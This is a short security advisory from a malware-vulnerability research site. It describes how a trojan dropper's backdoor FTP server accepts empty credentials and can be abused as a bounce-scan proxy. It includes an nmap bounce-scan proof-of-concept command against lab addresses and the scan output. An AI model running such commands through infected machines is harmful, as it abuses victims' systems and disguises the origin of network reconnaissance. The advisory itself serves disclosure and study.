Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/d57536189430fd75e45f53845e9b3f94_B.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Trojan-Dropper.Win32.SVB.cz
Vulnerability: Port Bounce Scan (MITM)
Description: The malware listens on TCP port 8181 (default) and has an FTP component that listens on port 1212 and accepts null creds. Third-party attackers who successfully logon can abuse the backdoor FTP server as a man-in-the-middle machine allowing PORT Command bounce scan attacks using Nmap. This vulnerability allows remote attackers to abuse your system and discreetly conduct network port scanning. Victims will then think these scans are originating from the infected system running the afflicted malware FTP Server and not you.
Type: PE32
MD5: d57536189430fd75e45f53845e9b3f94
Vuln ID: MVID-2021-0267
Dropped files: opeC248.exe
Disclosure: 07/03/2021


Exploit/PoC:
nmap -n -Pn -b "":""@192.168.18.129:1212 192.168.18.131 -p22,23,80 -v
Starting Nmap 7.80 ( https://nmap.org ) at 2021-06-27 22:06 Pacific Daylight Time
Resolved FTP bounce attack proxy to 192.168.18.129 (192.168.18.129).
Attempting connection to ftp://:@192.168.18.129:1212
Connected:220 ShangXing Ftp Server
Login credentials accepted by FTP server!
Initiating Bounce Scan at 22:06
Discovered open port 80/tcp on 192.168.18.131
Completed Bounce Scan at 22:06, 2.24s elapsed (3 total ports)
Nmap scan report for 192.168.18.131
Host is up.

PORT   STATE  SERVICE
22/tcp closed ssh
23/tcp closed telnet
80/tcp open   http


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